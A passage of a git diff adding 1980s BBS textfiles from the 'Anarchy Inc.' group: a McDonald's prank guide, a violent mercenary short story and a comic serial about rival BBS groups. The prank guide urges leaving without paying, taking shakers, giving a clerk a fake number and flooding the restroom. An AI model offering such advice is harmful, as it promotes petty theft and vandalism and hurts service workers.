this later) and enter the +McDonalds restaurant, talking loudly and reeking of some strange essense that +automatically makes teh old couple sitting by the door leave. If one of those +pimply-faced goons is wiping the floor, then track some crap all over it (you +could pretend to slip and break yer head, but you mite actually do so). + +Next, before you get the food, find a table. Start yelling and releasing some +strage body odor and =anybody= would leave their table and walk out the door. +Sit 2 friends there, and go up to the counter with another. + +Find a place where the line is short, or if the line is long say "I only wanna +buy a Coke" and you get moved up. Now, you get to do the =ordering=...Heh heh +heh. + +Somebody =alwaze= must want a plain hamburger with absolutely nothing on it +(this takes extra time to make, and drives the little hamburger-makers +insane)..Order a 9-pack of chicken mcnuggets...no, a 20 pack...no, three 6 +packs...wait...go back to the table and ask who wants what. Your other friend +waits by the counter and makes a pass at the female clerk. Get back to the +thing and order three 6-packs of chicken etc....now she says "What kind of +sauce would you like?"..of course, say that you all want barbecue sauce (one of +yer friends wants 2) only if there are only 2 containers of barbecue sauce +left. Then they hafta go into the storeroom and open up anudder box. Finally, +the drinks...somebody wants Coke, comebody root beer, and somebody diet Coke. +After these are delivered, bring them back and say "I didn't order a diet Coke! +I ordered a Sprite!" This gets them mad...better yet, turn down something +terrible that nobody wants to drink, so they hafta throw the drink away; they +can't sell it. After all the food(?) is handed to you, you must =neffer= have +enuff money to pay. The clerk will be so angry and confoosed that she'll let ya +get away with it (anudder influence on her is your friend asking her "If you +let us go I'll go out with you" and giving her a fake fone number). + +Now, back to your table. But first, somebody likes ketchup. And mustard. And +plenty (too much) of napkins. Oh, and somebody likes forks and knifes, so +alwaze end up breaking the ones you pick outta the box. Have your friends yell +out "Yay!!!!! We have munchies!!" as loud as they can. That'll worry the entire +restaurant. Proceed to sit down. + +So, you are sitting in the smoking section (by accident) eh? Well, while one of +the tobacco-breathers isn't looking, put a sign from the udder side of the room +saying "do not smoke here" and he'll hafta move...then he goez into the real +non-smoking section, and gets yelled at. He then thinks that no smoking is +allowed in the restaurant, so he eats outside (in the pouring rain) + +After your meal is finished (and quite a few splattered-opened ketchup packets +are all over yer table), try to leave. But oops! Somebody has to do his duty in +the men's room. As he goez there, he sticks an uneated hamburger (would you +dare to eat one of their hamburgers?) inside the toilet, flushes it a while, +until it runs all over the bathroom. Oops! Send a pimply-faced teenager to +clean it up. (He won't know that brown thing is a hamburger, and he'll get +sick. Wheee!) + +As you leave the restaurant, looking back at your uncleaned table, somebody +must remember that they left their chocolate shake there! The one that's almost +full!!!! He takes it then says "This tastes like crap!", then he takes of the +lid and throws it into the garbage can...Oops! He missed, and now the same poor +soul who's cleaning up the bathroom now hasta clean up chocolate shake. Then +leave the joint, reversing the "yes, we're open" sign (as a reminder of yer +visit) + +There you have it! You have just put all of McDonalds into complete mayhem. And +since there is no penalty for littering in a restaurant, bugging peeple in a +public eatery (or throw-upery, in this case) you get off scot-free. Wuzn't that +fun? Well, my fingers are tired so I big you all a doo and see ya at Dune! + + -UZER + +The Following was made by The +Daredevil sometime after Uzer's +File... + + +I'd like to amend Modem Uzer's "Phun in McDonalds" a bit. He mentioned quite a +few fun things, but left out a few. I spent 8 months of my life there, and +learned alot of tricks from the inside. The overflowing toilet gag is always a +good one, but the hamburger, when stuffed in the sink with the water on, +produces a much more gratifying result. One greatly fun thing that I personaly +was sucker to, was the ol' Upside-Down Drink gag. You get a milkshake, take off +the lid, and quickly flip it upside down. Clean up any mess arounf the edge, +and there you have it. I mess waiting to be born. When the poor McPeon comes +over to clean the table, he lifts the cup and get and instant Choco-mess! Even +if he is aware of this gag, there isn't a whole lot he can do. + Also, if you come in before 11am, you can cliam your complimentary salt and +pepper shakers. These are beautifully hand-crafted designer shakers made from +high quilty plastics, and they're yours, FREE! Take as many as you want. On a +good day, you can usualy claim as many as 20-30. These are great for picnics +and family outings. + And finally, a MUST for all McTerrorists, throw away the plastic trays. As +you leave, be clean. Dump the food, tray and all, in the trash can. + + I almost forgot! You Rootbeer Float lovers might like to know that McDonalds +now serves them. Order a medium rootbeeR, an empty LARGE cup, and an ice cream +cone. Ask for a spoon. Mix it together, and you have one pretty good root beer +float. + +This textfile was composed on the spur of the moment by: Michael DeCaye + +(C) 1984 ANARCHY INC. NO RIGHTS RESERVED + + (--------------) + (Anarchy Inc. ) + (>--------------<) + (Surf Rat ) + (Ruby Tuesday ) + (The $hiek ) + (The Moon Roach) + (Havoc Chaos ) + (Teeny Bopper ) + (D.B Cooper ) + (Dread Star ) + (The Bullseye ) + (Space Ace ) + (Grim Jack ) + (Modem User ) + (--------------) + + + Surf Rat's AE + 415/949-1049 pw/fondle + + The Realm Of the Rogues 20 Megs + 415/941-1990 + +By the way, Matt Ackeret is the +biggest sub-humanoid Life Form this +side of Russia! (Next to the Itch +-The Juggler, and Surf Rat) + + +------------------------------------------------------------------------------- + _ ___ _ the _ _ __ P>rogressive U>nderground + And as this textfile | ||__ \ | | | | | ||_ \ D>issidents + rolls off the screen, | | __) )| | | | | | \ \ 3 1 3 - 4 3 3 - 3 1 6 4 + you realize instantly | ||___/ | | | | | | ) ) 300/1200 Baud + the place to get more | | | |___| | | | _/ / 20 Megs of TextFiles + like it.. |_| \_____/ |_||__/ SysOp: Mr. Pez + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mercenar.ana b/textfiles.com/groups/ANARCHYINC/mercenar.ana new file mode 100644 index 00000000..0c2692d8 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mercenar.ana @@ -0,0 +1,134 @@ + ------------ + Anarchy Inc. Presents.... + ------------ + + The Story Of a Mercenary + by: Lord Omega + + + I am a mercenary. + + That's really all i've ever done for a living. At age 16 I left home to join +the space navy, and went off to fight in the revolution. Jaglan Beta had tried +to escape the influence of Earth, but we were too good for them. I've been in +all the major space battles during that 9 year period and got myself promoted up +to Captain, and my ship, the Vengeful, was one of the ones that was there when +we finally sterilized the entire planet of Jaglor. I remember the feeling of +power, the mastery as I fired weapons that killed millions of people with every +shot. There is nothing else that I ever wanted to be but a warrior, and this is +the ultimate high, to know that nobody can stop you. + + But, I was stopped. After the war ended, there was a time of peace. Oh, + it wasn't total peace, there were little fights here and there, nothing much. +Nobody was even using nukes anymore. I felt unwanted. The service did not +intervene in these little brush fires as they called them, and that meant that I +was left with my ass glued to a chair in headquarters. PUSHING PAPERS! Me, a +warrior, the greatest fighter, and nobody to fight. I had to find a way out. +There was one way... + + The navy wanted to cut the size of it's forces. Many of them were not needed +much anymore, so if I asked, I would be discharged from the navy. It worked. +The promoted me to admiral at 31, and gave me an honorable discharge. + + The first thing I did when I left was to buy a ship. All those years i've +worked with the navy i've saved quite alot of money. I never had a wife, and +the navy paid my meals and such, so it was all saved in an account, and by the +time I was discharged, it amounted to quite alot. So I bought a ship. Not one +of those fancy models that the rich ride. Bah. Those couldn't survive a stray +beam of light much less photon blasts. I found a used XDS-33 battle cruser. +The same type as my beloved ship Vengeful. The ship was immediately re-painted, +christened Vengeful II, and launched off to the Etchelon Delta system. + + If you had enough money, you could buy anything at Etchelon port. Some of the +worst scum of the galaxy make that a home. I bought a 50meg deflector shield, +and enough weapons to make a full scale Earth Superdestroyer cringe. All i had +to do was wait... + + One day it happened. Three men came to Etchelon Port looking for good +mercenaries. There was hundreds to choose from, but the business men only +wanted eight. Well, I had no fear about that. I'm the best there is, and +anyone will know my reputation. Sure enough, i'm the second one called. Others +called were officers that i'd known in the navy, some people who i'd fought +against in the revolution, and others were known for being just ruthless +mercenaries. No matter who they were, they were now my allies. + + The incident was a small war of succession in some rat-hole world called +Tremble. Rumor has it that the name came from the early colonists who left from +earth at a space port in what was then Califorinia. They barely escaped the +earthquake that dumped that state into the ocean. It may be true. As a child I +once went diving in Old San Francisco, and saw what the city was like the day it +died. It was facinating. + + I remember the first day we landed on Tremble. I was told that full planet +saturation bombing would not be permitted because they wanted to have something +to rule after we were done. No matter. I enjoy other combat also. The enemy +was a group of politicans (how i hate politicans. Give the work to someone +else, take the credit, and leave the blame. Bah.) who wanted to control the +planet. They ran the planet for 40 years, and never allowed a fair election. +It's not that I care about fairness... Hell. One way is as good as another of +taking a government... But the politicans were a bunch of wimpy peacemongers. +This must not be allowed! If peace became a way of life, there would be no +excitement. No real reason to stay alive. + + There was also the matter of money. I spent almost every cent i had on the +Vengeful II, and I was in desperate need of some more money. The businessmen +would pay us seven million galactic credits each if we succeeded. That's fine +with me. I don't need money if I fail. Mainly because i'd die first. The +businessmen told us that they wanted to control government so that the people +would be better represented. He didn't like it much when i stopped his 'Do what +the people want' speech by telling him that I honestly didn't care what the +public wanted. + + Well, I guess you can consider Day One of the combat to be one of the best. +After all the planning, and organizing forces, to be able to actually enter the +field with a photon rifle at your sholder and atomic grenades on your belt... +Well, it's a feeling that few can understand. It's estascy. I believe that I +killed over 112 people myself. With each death, I gained a little bit more of +myself. This is where I belonged. + + That first day caused a major retreat by the politician's army. We were good. +Our men were organized. Like a perfect killing machine, we went on. Nothing +could stop us. + + After 24 days of intense battle, I lost 423 soldiers. By our count, we killed +at least 23,000 of their men. I didn't even use nukes or planet bombs. I was +quite proud of myself when my sergant brought a man in my tent in the uniform of +the other side. A prisoner? No, I told my men never to take prisoners. What +could he be for? + + It was horror. He was a Captain of the other side wishing to discuss a +surrender. Twenty-four days of fighting to be ended by a surrender? Never. I +drew my hand blaster. The sergant had left the tent earlier, and this was my +chance. I shot the man so that nobody else would know about the surrender. I +told the sergant that he tried to attack me, but I was quick with my gun. I +told him that we must double our attacks. Kill the enemy. Kill every last one +of them! + + Dawn, day 38. We increased our attacks. Nobody was left to live. Anything +that got in our path, be it man, animal or insect, died. I could feel the power +again. Those cowardly bastards. They shall pay for their cowardace! No true +soldier should surrender. I'd personally kill the lot of them even if all my +soldiers were taken away from me. I'd fight them with nothing but my hands! +I'd show them. + + Day 42. Another soldier tried to come over under a white flag to propose a +surrender. I shot this man again, and carefully hid a grenade on him before I +told the guard. The reports stated that this man was a saboteur, and I had +killed him. The battle has been great. + + I don't know what happened after that. Two M.P.'s came to me the morning of +the 49th day, and told me that I was under arrest. The businessmen had found +out about the surrender that I turned down, and they accepted it. Now they were +arresting me because they thought I prolonged the battle excessively. Is +everyone a coward? + + I'm currently writing this in jail on the planet of Syran. They wish to have +me hung in the morning for war crimes. I'm writing this story of myself so that +maybe someone will understand why I had to do what I did. Nobody likes me +anymore. I used to be great. I used to be the greatest captain the fleet ever +knew. Why??? + + They're coming for me. Good bye. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mi_1-4.hum b/textfiles.com/groups/ANARCHYINC/mi_1-4.hum new file mode 100644 index 00000000..12ba0639 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mi_1-4.hum @@ -0,0 +1,1150 @@ +Mission Impossible P.1, a production of Anarchy, Inc. + + Before we begin tonites adventure you must realize some changes have taken +place. For one, Matt Ackeret has taken over Eric C.Thompson's place--you'll +see more of Matt--he wrote the Midlogue. Now, this satire is about a night +...or more like a week...with Anarchy, and their current conflicts with +Chaotic Computing. But to keep it a clean satire, I've renamed C.Computing +to just "Chaos". And this is in no way supposed to be an attack on theirpart, +its just fun on ourpart. +//-----------------------------------------------\\ +|| Anarchy inc. consists of (as far as I know).. || +|| The Daredevil, Ruby Tuesday, Havoc Chaos || = Tonite's Documentation: = +|| The Moon Roach, Surf Rat, the $heik, || +|| The Bullseye, D.B. Cooper, The Anarchist, || +|| Teeny Bopper, DreadStar, Space Ace, Ron S. || [Mission: Impossible] +|| VanZuylen, A Modem User, Pleasure Victim, || +|| Dark Shadow, Torqa Dun, Alexander of || +|| Atlantis, and Someone Else || +\\-----------------------------------------------// + + __ __ +/ [22:53:07 hours] \ When Alex called me up and asked me to write an +| = Prologue = | introduction to his text file, I felt disgusted and +| ::::by:::: | nausiated. Why would I want to write a prologue for +| Geraldine Farraro | his stupid little text file? He isn't even an +\__[Fri Mar 22 '85]__/ experienced Anarchy writer! I thought about it, after + telling him no, and decided to do it anyway. I mean, +why not? I hadn't made it to Vice, and I sure would love to encourage any +small nuscience that would give the Old boy a hassle. With this in mind, I +am writing this silly little intro. Mind you, I have just gotten back from +doing a Pepsi commercial with these two young'uns, (which, mind you, didn't +look so terrible..Uh hum..) and for the money they payed me, I'm in a downright +good mood. I will never be able to run again because of it, but I'm better off +now, anyway. Enough about me. This file you are about to encounter is of +a new form of writing. This file is Anarchy's mission to blow Chaos out of +the water. All other files about the fight Anarchy vs. Chaos were wrong. This +is the re-telling of a startling encounter between individualistic order and +individualistic impulse. Chaos being impulse, Anarchy being order-notice- +they both are causes for individuals governing themselves. Last summer, about +this time at nite, Anarchy individuals decided to raid the Chaos camps. It +was then that the frightening discovery was made....On with the tale...... + __ __ +/ [00:10:21 hours] \ Entry # 1.1: +| = Midlogue = | Taking Eric C. Thompson's place, I sit at the desk, +| ::::by:::: | awaiting phone calls for further instructions. The +| Matt Ackeret | office is quiet and calm. Although pained with hunger, +\__[Sun Jul 28 '84]__/ there is absolutely no way to remove the metal chained + ball from my foot. I sit quietly, writing his log, as +everyone has split to the conference room for a special meeting. As for as I +can tell, there has been a rash of violence from the people at Chaos, and, +although I enjoy seeing Anarchy suffer, the bombs didn't help my disposition +any when they came thru the fucking window and I couldn't do shit but wimper as +my ass was blown off. After a full lobotomy I'm in better condition then I +ever have been in. After sitting here, talking to myself, like a real penis, +I decided to search the desk. All I could find, besides the phone, was a +pencil and a pad, so I'm taking a log. Kind of like a diary, I guess. I don't +know what's happening in the conference room, but- Ooops phone........ +I called to the door and Teeny Bopper poked her head in. After settling +myself I told her it was the $hiek. All he had to say was something about +"getting e's 'fuckin car blewn oup by 'de bastairds frem Chaos." She closed +the door on me and I sat alone for a long time. + + Entry # 1.2: + + X | O | X +---+---+--- After almost conking out from boredom, I tried my hand + O | X | O with one-on-oneself tic-tac-toe. It doesn't work too good. +---+---+--- anyway, I fell asleep, and now, I'm quite sure there is no one + X | O | X in the conference room at all. I'm gonna take a piss in the + bottom drawer, then I might try to escape. I mean, I'm a pretty +smart dude, I think I can escape like they always do on TV. I'll try to +remember to enter a log tomorrow. + + __ __ +/ [01:00:00 hours] \ Ruby slid out of her chair and announced since +| = Planning = | they never had had a secret counsel meeting, there +| ::Agenda:: | were no notes from last time. With a "thank's, Ruby" +| 1. Last meeting | Daredevil got up. Everyone was seated around a large +| 2. Today's agenda | circular table they had swiped from Round Table. +| 3. Chaos problems | "I know it's pretty late to be calling this meeting, +| 4. Anarchy action | seeing your all hiped up to be somewhere else-" started +| ::Secretary:: | Daredevil. In truth everyone was burnt out from the +| Ruby Tuesday | party Havoc thru just hours ago. Even The Moon Roach's +\__[Sun Jul 28 '84]__/ antennee were looped over. Daredevil continued. + "But we have just got to get this Anarchy/Chaos +thing worked out. Ruby, would you please read today's agenda?" Ruby stood up, +a vision of prefection and exception. Surf's eyes popped open, but were +quickly met by Teeny's, who sat between him and the secretary. Surf quietly +resumed his dorment state. + "Today we're going to discuss the problems Chaos has been giving us, and +then what we are going to do about it." She stated simply, then sat. + "Thanks again, Ruby," Daredevil said. "Now what Chao's has been doing has +been close, but not entirely, completely unlike the Death Squad." The cliche' +from Hitchhiker did not go well over, and DreadStar groaned. + "That's all nice and dandy, Daredevil. But we've been doing our best to +give what we've been getting, and they've only gotten worse!" + Daredevil slammed his fist down on the table, amid groans and moans from +hangovers, he yelled, "That's not good enough! I want to know how they are +getting to us, how information is leaking out, and how the hell they +are getting their supplies! We're already running low!" D.B. nodded. He +had just recently checked the supply room ajacent to the office. They had +some left over pipe bombs, but nothing worth using except maybe some crowbars +and manhole covers, but they were too heavy to wield. + "What did you have in mind," GrimJack interposed. + "There is only one thing we can do. We have to find that leak and +exploit it. Capture that link and we can find their base, or at least we +can set up a trap for people that would know." Now Moon Roach popped up. + "That's terrific, Dare, but how do you know that link isn't in this +room," he asked. + "I know who that link is. Right now he's home, with Chicken Pox," + said Torqa Dun, who had just now realized the simplicity of the double-agent's +cover up. It was interesting, but not understandable. + "But how could-" he started. + "Who?" The Bullseye yiped as he slammed his hand down on Torqa's arm with +an ear sickening crunch. "Oops..Sorry..Who?" + Daredevil raised his hand as everyone stopped their mindless owl +imitations. Surf Rat finally raised his head, looked around, and quietly +muttered, "I can't believe it. It's Alex." + + (To be continued........) + +/\_______________________________________________________________________/\ +\/ \/ + +Mission Impossible P.2, a production of Anarchy, Inc. + + Before we continue tonight's adventure, I was just going to straighten +some things out. 1) This file is a mutual effort of one person, and is to +blame by one person alone: Me. 2) Eric C. Thompson -lives-, we just put him +in a suspended state- a new drug we've been working on. Also: Watch the +information portrayed in the sectioned off squares. Info like author of +the part you're reading, and time he/she or the instance occured are vital +to the plot. -REMEMBER- This is a RETELLING of a past occurance, and to +get full understanding of it, watch the dates and times. One other quick +note: Chaotic Computing will now be played as it's name for claritie's sake. +(And boy, she needs all the shake she can get--I know, bad pun.) +Onto the file...... + +//---------------------------------------------\\ +|| Anarchy inc. consists of (gotta advertise!) || +|| The Daredevil, Ruby Tuesday, Havoc Chaos || = Tonite's Continuation: = +|| The Moon Roach, Surf Rat, the $heik, || +|| The Bullseye, D.B. Cooper, The Anarchist, || +|| Teeny Bopper, DreadStar, Space Ace, Ron S. || [Mission: Impossible (p.2)] +|| VanZuylen, A Modem User, Pleasure Victim, || +|| Dark Shadow, Torqa Dun, Alexander of || +|| Atlantis, and Someone Else || +\\---------------------------------------------// + __ __ +/ [01:33:11 hours] \ Entry 2.0: I sit 2 feet away from my +| = Midlogue = | awe-awe-awesome destination. I had to write this down +| ::::by:::: | in my k-k00l log so everyone can read how totally +| Matt Ackeret | smart I was. (/Maybe we should underline "was"/--Ed.) +\__[Sat Mar 23 '84]__/ I pushed my desk right over next to this room that + says "#()$!*(_#" on it. I betcha it's supplies. +(/Once in a lifetime.../--Ed.) I'm going to go in there and see if I can get +some stuff to undo my "bonds." God my penis itches. + + __ __ +/ [02:00:00 hours] \ Notes for 22-23/84: We've gone through the normal +| = Mid.-Meeting = | agenda, and everyone is weary and on edge. Torqua has +| :::Secretary:: | figured out that Alex, Alexander of Atlantis, one of +| Ruby Tuesday | our newer members, has been working as a spy for C/C +\__[Sat Mar 23 '84]__/ under the cover of having "Chicken Pox". We believe + it's just an act to keep the eye of suspicion off him +because he is in a bad condition. Everyone seems stunned. + "That doesn't make sense," Dark Shadow started, "I may not know him, but +if he was a spy for Chaotic Computing, wouldn't he -want- to be at a meeting +like this?" + "Good point," said Ruby, looking up from her notes. "But you have to +admit, he hasn't donated much to the group, I haven't seen one file by him! +Could we go over why he was accepted, Daredevil?" + "Sure Ruby," said Daredevil with a sigh as he sat himself. "I gave Alex +admittance because he was saving all our text files that we made on his hard +drive, which were accessable via his BBS. Ya know, it's funny, but his hard +drive is now gone, and his General section (along with all our files) just +happened to be erased. I hate to say it about Alex, but maybe it was all a +hoax to get in." + Ron sat up. "Yea. He did get on file out just lately--it's kind of good, +at least, it isn't anything bad. He called it "Mission: Impossible" and it +talks about how we raided Chaotic Computing's camps to get their info. Pretty +freaky, considering that's what we are planning on doing. But I noticed +something, something kind of strange. In his second file he calls it a file, +as opposed to "tonight's adventure"..I know it sounds stupid, but from the +looks of this guy inconsistancies like that are very uncommon. I think it +might be a code. But--its just a thought." + Someone Else stood up and put his fists to the table. Blam. "That has +got to be the lamest idea I have ever heard. How would we know it's a code +if we don't know how to decipher it????" He yelled, then smugly sat down. He +had said his piece. + The Anarchist sat forward. "Wait a second. The Haunted House has a +mystery text file and what it does is it adds 95 to every character, then +every 5th character (the 5 in 95) is part of the real code. Alexander isn't +too bright when it comes to codes-- The only obvious answer would be--" + Just then a large explosion came from the other room, making The +Anarchists's chair roll right into the window, and him thru it. As he screemed +and fell face flat onto the hood of the $hiek's car, which had convieniently +rolled up just recently, The Anarchist passed out, and the $heik was raving +something horrible. The Moon Roach smiled and said something about how history +repeats itself, and crawled out the window and settled The Anarchist back +together again, while Ruby called the hospital. + Havoc, Space Ace, Teeny Bopper, Surf Rat, and Pleasure Victim all piled +into the other room to see what the fuck had happened. Daredevil, still +standing at the head of the toppled "Round Table's" round table, swore at his +bad luck, and sat on the corner of his mutulated chair, brushed the dust out +of his eyes, and swore again. + __ __ +/ [13:05:26 hours] \ "God, I'll never forget that awe-awe-awesome +| = Midlogue = | explosion," Matt continues, "I had moved into the +| ::::by:::: | storage room and was looking around for stuff like +| Matt Ackeret | crowbars or files, but it was hard in the dark, +\__[Sun Apr 05 '85]__/ and even harder when you're dragging a desk with + you." He sighs. "But I did, anyway, and I dragged +that desk to the opposite corner of the room, and just when I pulled it that +last little way, and flicked on the light, this loud blam came, like from +something falling. So, I flicked on the light, and found the desk had +toppled this huge shelf filled with pieces of pipe. Well, I'm no idiot, and +I didn't want them to hear me, so I had closed the door behind me, making no +light visible from this room. Hoping they didn't hear me, I started picking +up the tubes. Then, the funniest thing happened," He chuckles, "a sound like +soda water or fizzing just started as loud as anything. So, I just decided +to get the hell out of there. Well, as I had pulled the desk across the floor +and was almost out the door, I heard a really loud explosion that just knocked +my k-k00l self right onto the floor!" His arms wave frantically, "And that +knock on the floor saved my life! The next thing I knew, I was hearing +hundreds of explosions, and that may of hurt my ears, but I was damned more +concerned when I saw the door fly thru the wall, and then the desk. Sitting +there, I realized I was attached to that mother fucking desk, and out we +went, thru the window, about 5 feet into the concrete. Damn that hurt! I +totally degauged my scrotum!" He sighs, and gives his penis a little feel. +(/Very little, we bet!/--Ed.) Remembering stuff like that must not be so +much fun. + __ __ +/ [03:05:14 hours] \ Surf sauntered thru the door as Teeny hugged +| = Middestruction = | his hand when they saw the room blown through the +| ::::seen by::::: | floors. Desks were blown apart, and now they had +| Havoc, Teeny, Ace, | a nice open-air office. Pleasure Victim went to +| Surf, P.Victim | a nice big hole in the wall where Matt had been +\__[Sat Mar 23 '84]__/ thrown through. "I think Matt has a little + explaining," He started. + "If he lives, I'll kill him," Started Havoc, "I betcha Chaotic Computing +is behind all this." + "Yeah," said Surf, "that or Matt's lame brain." + + (To be continued............) + +/\________________________________________________________________________/\ +\/ \/ + +As the rush for nonverbose writers becomes less intense, I sit awaiting +inspiration. It's about time for another file, the natives are getting +sleepy, I told myself. Anyway, we pick up our heroic party, months after +the horrid event, the author placidly discussing pretty much nothing.... + + -------------- /+==============================+\ + Anarchy Inc. and || Rhadamanthine Dungeonwriters || +:--------------: \+==============================+/ +: Daredevil, :--: +: Ruby Tuesday, :-----: Present....... +: Modem User, Surf Rat, :------------------: +: Dark Shadow, Senator Bunker, Havoc Chaos :--: =Tonite's Continuation= +: Moon Roach, Lord Omega, The Misfit, Eric C. : +: Thompson, and Alexander of Atlantis (enuff!): [Mission: Impossible (p.3)] +:---------------------------------------------: + __ __ +/ [22:47:06 hours] \ Sigh. +| = Fact-finding = | "Yea," I said, "it could happen between the best +| ::researcher:: | of them. How were you to know?" +| Author | "Still," Daredevil told me, "we should of had more +\__[Thu Apr 25 '85]__/ sense then to just go off like that." + "I see. Mind telling me a little about it?" + "It kinda makes me a little vicious when I think about it. The sheer +nerve of those guys to do what they did. But," sigh, "we did what we thought +was right. With The Anarchist completely gone from our group by means above +and beyond the call of text-writing, we retired him, along with the others +who were quite too un-surefooted, and we still havn't verified if they are +coming back." Pause, "Still, it doesn't make sense. Chaotic Computing thought +we had downed that AE line--I mean--right now, my AE line is getting bombarded +by real losers. I think it might be the Quasar, Champion Eternal, and some +others." + "Why?" I asked, in the normal slightly asleep listener voice. + "I think it was because they had chained Matt up, and said it as me, and +I figured it out, and straightened it out with Matt's mom." Pause, "The bitch." +He continues, "I had no choice really- It was either giving a whole group of +names, and letting each one take about 1/5 the blame, or me taking the whole +blame (falsely) and getting us all hauled off for disturbing Matt's privacy." +Caugh. "They don't understand it, but I really did save all our skins." + "Sounds like you did the right thing," I commented, "but still, there +has to be more then that. Maybe Quasar think's you blew his board up or +something." I finished with a slight witty smile--I was doing well for being +asleep. Sheer lip-power does it all the time. + "That could be. That was all part of the raid on C/C's camps. See, +last year, around summer, at about 12 o'clock, we decided to finally figure +out where C/C's top brass ass's were getting all their junk. After that +stupid mix up," we both laugh, "we were lucky to get that lead." + + __ __ +/ [21:00:00 hours] \ Damn lonely. What the fuck are they doing. Great. +| = Pre-planning = | They can dig fucking holes and put their friends in +| :as seen thru: | them. And with what defense? A fucking manhole cover +| the eye's of Havoc | and a pipe bomb! Shhhiiiittt.. "Crack" What the +\__[Fri Apr 01 '84]__/ fuck was that???? "Snap" Ouch!! My neck!!! I'll + never turn that fast again, I promise GOD! Just please +don't let me freeze up right now! Okay, fine, if I can't move when I wan't +to I'll just kind of...Faint...No? Okay, fine. Ho hum. Ahh..Okay. We're +back you suckers--Beware of the dreaded Havoc-in-the-Hole trick, you bastards! +Almost time. Damn dirt in my pants. Gotta remember to stay low. Too low, +got dirt up the ol' nostril's. Hmm... "Sniff"... Not bad dirt. + + __ __ +/ [21:05:36 hours] \ Damn bitch. What a stuck up pigheaded ... +| = Pre-planning = | He's so arrogant. How could Daredevil mistake these +| :as seen thru: | looks on his face toward me as "friendly partners", +| Surf Rat & Teeny | especially after I pleded with him? +\__[Fri Apr 01 '84]__/ How could she say those lies? I tried to always + be kind to her and respect her and not brag about my- +self just to be sure, and she goes off, finds another guy, then gives herself +an excuse for it. Bitch. + I don't care how much Daredevil wants us to stay here in this damp parking +lot, I don't think I can take another instant with this up-nosed fart. + I won't look at her. I won't. I'll stick to business. Watch the cars, +check the plates, check the fones, watch the building like Dare said. Just +don't think about the slime, Surf! + Look at him.. Trying to be professional. Trying to be that great MR. +PERFECT PIRATE that he is. What is he doing? Looks like he is trying to watch +those things. Ha. What is he trying to prove? I can figure out he's +following Daredevil's instructions. I would do that, too... But I can't stand +to do the same thing as that up-headed lowlife. + I won't look at her, I won't look at her....I think I'm gonna barf--I +looked at her. + __ __ +/ [21:10:53 hours] \ Nothing's working right. I've got everyone pre- +| = Pre-planning = | stationed and already they're bitching thru their +| :as seen thru: | radio shack walkee-talkee's. Oh well. What's this? +| the eyes of Dare | Very interesting. Someone's coming out of that +\__[Fri Apr 01 '84]__/ building over there. It's too bad about Alex. He + just couldn't take it, I guess. Why am I talking to +myself? I guess it calms me down and lets me think things out. The brains +behind Anarchy: Talking to the walls. Who is that? Wait! He's got what +looks like two pipe bombs in his jacket. No choice, I'm going to have to +rush him. Oh god...It might be Alex...Who can tell in this mess.... +"Huff Puff Huff Puff" Keep...up...strength... +"Ahhhhhhhhh!!!" +*Booph* +"Ouch!!! Arrggg!!" Who the fuck is this??? +"Waaaaa!!!" +Oh my god...... + + __ __ +/ [23:22:05 hours] \ "Havoc had heard Matt escape, and quickly re-opened +| = Being bored = | Matt's old wounds. Yea, I did jump that mysterious +| ::::from::::: | person...The one that was supposed to be the brains +| Author | behind Chaotic Computing's operation. It wasn't really +\__[Thu Apr 25 '85]__/ surprising, considering that the supplies were coming + from being directly stolen from the own store that +owned. Steeling from your own parent's profits...Disgraceful." Daredevil +sighed. "Surf and Teeny had enough problems of their own, but they managed +to get to the computer room of C/C's and nab a lot of the printouts of sources +...Just ordinary users that you only see after looking thru Member listings +of bbs's...We'll be on guard next time." + +Yes, it was a sad tale. The brains of the operation had no more brains then +Gumby has tits. It really was too bad, but considering the mastermind had +been really upset from current losses, the kid was just damned pissed off. +So if you hear somebody sob or scream, think of the night Daredevil tackled +the two big Pipe Bombs, which turned out to be Princess Leia's fat tits. + +(Fin.) + +/\__________________________________________________________________________/\ +\/ \/ + +In collaboration... /----------------------------\ +We are proud to | Another fine production of | +to present... | Shadow Stories, Inc. | + \----------------------------/ + -------------- /+==============================+\ + Anarchy Inc. and || Rhadamanthine Dungeonwriters || +:--------------: \+==============================+/ +: Daredevil, :--: +: Ruby Tuesday, :-----: +: Modem User, Surf Rat, :------------------: +: Dark Shadow, Senator Bunker, Havoc Chaos :--: =Tonite's Continuation= +: Moon Roach, Lord Omega, The Misfit, Eric C. : +: Thompson, and Alexander of Atlantis (enuff!): [Mission: Impossible (p.4)] +:---------------------------------------------: + +I'm one of the more secretive members of Anarchy, Inc. As a result, you +don't hear too much about me in these various text files. However, I decided +that I would forego my usual habit of secrecy, and write about my personal +exploits during the time span covered by "Mission Impossible : Part 3." + __ __ +/ [20:45:34 hours] \ +| = Pre-planning = | +| :as seen by: | +| Dark Shadow | +\__[Fri Apr 01 '84]__/ + + Daredevil came up to me, and a strange foreboding came over me. Daredevil +had another assignment for me. The last one, eventually involving two hungry +Bengal tigers, a hurried appendectomy, a letter of credit from an oil-sheik, +and three minor countries, was a little too much for me. I still had problems +with the Bengal tigers. + "Dark Shadow," Daredevil said, "I'd like you to perform a Mission." + You could tell, from the way Daredevil spoke, that it was a capital M. To +me, it was more like capital punishment. + "Why me?" + "Because," Daredevil said, "you're the only one that can teleport?" + "Weak. Try again." + "You're subtle, sneaky, and naturally wear a dark cloak?" + "Paltry. Care to hazard another guess?" + "You have a keen tactical insight?" + "Nope. Give me the real reason." + "You're expendable." + "Got it," I said. "Daredevil, I'm glad you told me the truth." + "I had to," said Daredevil. "I was running out of reasons. I've sent a +number of other people out to try and raid C/C, but I want you to perform a +solo mission, to see what you can dredge up." + "Nice knowing you, Daredevil." + "Hey, look at the bright side. If you survive, you can write a text file +about it." + Mumbling something about writing government pamphlets for a living, I +turned away, mentally preparing myself for my mission. As I walked out the +room, my despondent manner caught the attention of Ruby Tuesday and Lord Omega, +who were enjoined in some conversation. + "Another Mission?" asked Lord Omega. + I nodded sadly, and turned away, my grief almost too much to bear. + __ __ +/ [21:08:11 hours] \ +| = the mission = | +| :as seen by: | +| Dark Shadow | +\__[Fri Apr 01 '84]__/ + + Evading the tigers and the two assassins sent by the Prime Minister of +Bangladesh, I gradually made my way near the C/C headquarters. I surveyed the +building carefully, and decided that the best way in would be by way of New 